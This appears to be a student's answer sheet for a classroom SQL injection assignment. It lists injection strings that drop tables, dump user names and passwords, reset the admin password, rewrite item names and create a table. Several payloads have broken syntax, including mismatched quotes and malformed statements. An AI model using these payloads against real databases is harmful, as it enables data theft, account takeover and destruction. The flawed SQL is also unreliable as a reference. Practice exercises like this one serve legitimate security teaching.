Assignment 3 SQL Injection

1. Make a search for “batteries” where available is not equal to 1.

batteries'; AND available != 1;

1. Delete all tables.

something‘; DROP TABLE users;DROP TABLE items; DROP TABLE items\_users; --

1. Print all user names and passwords.

something’; SELECT user\_name, password FROM users WHERE 1 = 1; --

1. Change the password of the user with username “admin” to “password”.

something‘; UPDATE users

SET password = ‘password’

WHERE username = ‘admin’; --

1. Change all item names to “hello world”

something’; UPDATE items

SET name = ‘hello world’

WHERE 1 = 1; --

1. Create a new table called “hello\_world”

Comment: I populated the table for learning purposes. Rocky mentioned it did not have to be populated.

something‘; CREATE TABLE 'hello world'(

‘id’ int NOT NULL AUTO INCREMENT,

‘Awesome Name’ varchar (255) NOT NULL;

‘Random Name’ varchar (255) NOT NULL;

); --

**BONUS:**

something’; INSERT INTO users (username, item name, items purchased)

VALUES (‘jdoe’, (SELECT name FROM items WHERE name = ‘diapers’), 1); --